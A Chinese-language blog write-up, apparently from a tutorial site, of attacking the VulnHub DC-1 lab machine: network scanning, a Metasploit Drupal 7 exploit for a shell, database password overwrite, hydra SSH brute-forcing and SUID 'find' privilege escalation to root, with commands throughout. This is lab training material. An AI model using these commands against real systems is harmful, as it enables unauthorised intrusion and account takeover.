vulnhub-DC-1靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

①获取flag1

②flag2

③找到flag3

④flag4

3、提权

⑤thefinalflag

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:Linux DC-1 3.2.0-6-486

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、hash-identifier(识别hash类型)、msfconsole(利用漏洞获取shell)

测试网址:http://192.168.202.150/

获取靶机:https://vulnhub.com/entry/dc-1,292/

二、测试目的

利用drupal 7的漏洞getshell;
根据提示,一步步渗透到admin的密码,尝试ssh爆破用户,最后使用find命令提权;
找到作者设置的5个flag。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

 arp-scan 是一个网络工具,使用arp探测主机,用于在局域网中发现主机。

-l参数:从网络接口配置生成地址。

靶机的IP地址是:192.168.202.150

端口和服务探测

nmap -A -sS -p- -T4 192.168.202.150

 -A参数:启用额外的高级和高强度扫描
-sS:半链接扫描
-p-:对所有端口扫描服务
-T4:设置扫描的速度和隐蔽性,等级为0-5

扫描到ssh服务和web服务以及端口映射服务(可以不管)

可以看到探测到web站点使用drupal 7的cms,这个版本存在漏洞可以利用

目录扫描

使用gobuster爆破发现速度太慢了,使用dirsearch也是速度很慢,这个靶机好像限制爆破进程数了(实际上爆破目录没用上什么信息,但这也是信息搜集的一部分,需要完成)

dirsearch -u http://192.168.202.150/ -i 200,301 --exclude-sizes=0B

 -i 200,301 :设置只显示对应响应状态码的页面;
200是正常访问的页面、301是重定向页面,通常是目录

--exclude-sizes=0B :表示过滤返回页面大小为0的页面

2、Getshell

使用msf利用drupal7的漏洞

msfconsole

msf6 > search drupal 7

msf6 > use 1

msf6 > show options

msf6 > set rhost 192.168.202.150

msf6 > run

获取了meterpreter,可以直接获取shell

meterpreter是msf其中一种高级的 payload,主要用于执行命令和控制目标系统。

meterpreter使用shell命令可以直接获取shell,
不是交互式shell

meterpreter > shell

获取交互式shell

SHELL=/bin/bash script -q 2>/dev/null

SHELL=/bin/bash:这是一个环境变量的设置;
设置SHELL环境变量为/bin/bash它指定了在运行脚本时要使用的默认shell,即/bin/bash;
script 工具启动一个新的 shell 会话;
-q 选项会让它以静默模式运行,不输出记录信息;
/dev/null 是一个特殊设备,用于丢弃所有输出,相当于不保存会话记录;
2表示错误信息流,2>/dev/null是将错误信息丢弃,不显示错误信息。

①获取flag1

渗透靶机信息

获取shell后,当前目录有flag1.txt

提示查看配置文件

查看web.config没什么信息

②flag2

查看sites目录  ./sites/default/settings.php

在文件前面发现了flag2 ,提示爆破没什么作用,事实也是这样

mysql的账户和密码暴露了,当然就不用爆破喽

dbuser/R0ck3t

尝试登录mysql,成功登录

mysql -udbuser -pR0ck3t

查看表结构,有一张表有用的   drupaldb

show databases;

use drupaldb

show tables;

发现users表存在

查看users表

select * from users;

有用户和密码信息,但是密码是加密的
有admin用户

使用hash-identifier工具查看hash值的类型,发现没有;当然也不是一无所获,至少证明这不是hash值

Users表中的加密方法是drupal定义好的加密方法

密码生成文件是: /var/www/scripts/password-hash.sh

在www目录下,命令:

scripts/password-hash.sh 123456

生成123456的加密:$S$DV3XAiFoFU7KBbzIoBiE1QJAlSlqZdUm79VWIp5BzQs6oFCdO2dM

进入数据库,将admin用户的密码替换为123456的密文

mysql -udbuser -pR0ck3t

use drupaldb

update users set pass='$S$DV3XAiFoFU7KBbzIoBiE1QJAlSlqZdUm79VWIp5BzQs6oFCdO2dM' where uid=1;

成功更改

网页端成功登录admin的后台

③找到flag3

提示shadow信息,/etc/shadow是Linux存放密码的文件,只有root可以查看

它的意思是要我提权了,但也提示,查看密码信息

④flag4

查看/etc/passwd文件,发现了flag4用户

尝试爆破flag4用户ssh登录

hydra -l flag4 -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 192.168.202.150 ssh -v

成功获取了flag4用户的密码orange

登录到flag4账户,有flag4.txt

这里就找齐所有flag了,flag4也是普通用户,提权使用flag4和www-data没什么区别

3、提权

寻找suid文件时,发现了find命令

使用find命令suid提权

命令:

find / -exec /bin/bash -p \; -quit

 -exec (command) \;         对每个找到的文件执行命令

/bin/sh -p:启动一个root权限的shell,-p是/bin/sh的参数,指的就是root权限的bash

⑤thefinalflag

在root目录找到最后一个flag

四、结论

按照渗透测试的流程即可攻陷靶机;
寻找cms的漏洞getshell,找提权点即可利用,提取root。

获取shell后可以查看网页源文件,找一些配置信息、敏感信息;
可以在后台修改信息,达到目的。

破解、修改、伪造信息,都是渗透的思路。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ccc_9wy

觉得写的好的话就赏杯奶茶喝吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值